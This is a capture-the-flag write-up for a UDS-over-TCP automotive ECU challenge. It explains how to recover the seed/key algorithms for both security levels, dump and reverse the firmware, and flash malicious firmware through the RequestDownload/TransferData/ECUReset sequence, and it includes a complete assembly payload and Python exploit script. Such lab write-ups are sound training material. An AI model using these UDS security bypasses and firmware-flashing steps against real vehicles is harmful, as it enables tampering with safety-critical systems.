Baby You Can Drive My Car
by Pavel Knespl (capyplivl)
A UDS-over-TCP automotive ECU (nc challenge.ctf.uscybergames.com 36879). The service is silent until you speak its protocol. Messages are framed as a 2-byte big-endian length prefix followed by a raw UDS PDU. The ECU exposes its onboard memory over ReadMemoryByAddress, with two seed/key security levels gating access. The intended path is not to read the flag out of memory — it is a malicious firmware update: flash your own firmware via the standard Download/TransferData/TransferExit/ECUReset sequence, and the harness re-execs it on your socket.
Recon
Probing framings shows the wire format is len(2, BE) || pdu. From there the services map out as: 0x10 DiagnosticSessionControl, 0x11 ECUReset, 0x22 ReadDataByIdentifier, 0x23 ReadMemoryByAddress, 0x27 SecurityAccess, 0x31 RoutineControl, 0x34 RequestDownload, 0x36 TransferData, 0x37 RequestTransferExit, 0x3e TesterPresent.
ReadMemoryByAddress (23, ALFID 0x22 = 2-byte addr + 2-byte size) returns NRC 0x33 securityAccessDenied until a security level is unlocked. RDBI leaks identity DIDs for free: F190 = VIN 1HGCM82633A004352, F187 = BABY-DRIVER-ECU-001.
Security Access
Level 1 (27 01/27 02): the seed is random each request, but a wrong key gets a 5-byte NRC 7F 27 35 XX XX whose trailing two bytes leak the expected key. seed XOR expected == 0x1337 for every sample, so key = seed ^ 0x1337.
Level 2 (27 03/27 04): the memory dump (readable once L1 is unlocked) contains an LVL_2_LCG_PARAMS blob: 41 C6 4E 6D and 00 00 30 39 — the classic glibc LCG constants a = 1103515245, c = 12345. The key is the high half of one LCG step: key = ((a*seed + c) >> 16) & 0xFFFF.
Reversing the firmware
At L2, ReadMemoryByAddress for addresses >= 0x4000 reads the ECU's own program image (the code maps /proc/self/exe into a buffer exposed there). Dumping 0x4000–0x8900 recovers the ELF and reveals the update logic:
- The
/flag.txtloader (sets a "flag loaded" global, fills a buffer returned by DID0x1337) is dead code — zero xrefs, not in.init_array. A decoy. Reading the flag out of memory is impossible. - ECUReset hardReset (
11 01) requires: a completed download (TransferExitflips a state flag), security L2, an active programming session, and the uploaded blob's last two bytes to equalsum(blob[:-2]) XOR 0xBEEF. On success itgetenv("ECU_PENDING_FW"), writes the uploaded firmware to that path with mode0755, replies51 01, andexit(42). The harness re-execs the freshly written firmware on the same socket — that is the code-execution primitive.
Exploit
Build a tiny static firmware that reads /flag.txt to stdout (which is the socket after re-exec). Save as fw.s, assemble with gcc -nostdlib -static -no-pie -o fw fw.s:
.intel_syntax noprefix
.global _start
.text
_start:
lea rdi, [rip+path]
xor esi, esi
xor edx, edx
mov eax, 2
syscall
mov edi, eax
lea rsi, [rip+buf]
mov edx, 256
xor eax, eax
syscall
mov rdx, rax
mov edi, 1
lea rsi, [rip+buf]
mov eax, 1
syscall
mov eax, 60
xor edi, edi
syscall
path:
.asciz "/flag.txt"
.bss
buf:
.skip 256
Then run the full chain. The two things that matter: TransferData payloads must stay under the ~8 KB request cap (chunk them), and after ECUReset you must keep the socket open and read — the re-exec'd firmware's output (the flag) arrives there. Save as solve.py:
import socket, struct
HOST, PORT = "challenge.ctf.uscybergames.com", 36879
A, C = 0x41C64E6D, 12345
class UDS:
def __init__(self):
self.s = socket.create_connection((HOST, PORT), timeout=8)
self.s.settimeout(8)
def _n(self, n):
b = b""
while len(b) < n:
c = self.s.recv(n - len(b))
if not c: raise EOFError
b += c
return b
def send(self, pdu):
self.s.sendall(struct.pack(">H", len(pdu)) + pdu)
def req(self, pdu):
self.send(pdu)
while True:
r = self._n(struct.unpack(">H", self._n(2))[0])
if len(r) >= 3 and r[0] == 0x7F and r[2] == 0x78:
continue
return r
u = UDS()
u.req(bytes([0x10, 0x03]))
s = u.req(bytes([0x27, 0x01]))
u.req(bytes([0x27, 0x02]) + (int.from_bytes(s[2:], "big") ^ 0x1337).to_bytes(2, "big"))
s = u.req(bytes([0x27, 0x03]))
u.req(bytes([0x27, 0x04]) + (((A * int.from_bytes(s[2:], "big") + C) >> 16) & 0xFFFF).to_bytes(2, "big"))
u.req(bytes([0x10, 0x02]))
fw = open("fw", "rb").read()
full = fw + ((sum(fw) & 0xFFFF) ^ 0xBEEF).to_bytes(2, "big")
u.req(bytes([0x34, 0x00, 0x22, 0x40, 0x00]) + len(full).to_bytes(2, "big"))
off, seq = 0, 1
while off < len(full):
u.req(bytes([0x36, seq & 0xFF]) + full[off:off + 4000])
off += 4000; seq += 1
u.req(bytes([0x37]))
u.send(bytes([0x11, 0x01]))
data = b""
try:
while True:
d = u.s.recv(4096)
if not d: break
data += d
except Exception:
pass
print(data)
The tail of the socket after the reset is \x00\x02\x51\x01 (the 51 01 ECUReset response) followed immediately by the booted firmware's read of /flag.txt.
Flag: SVIUSCG{e4680d121133273be630ba991f4794a0}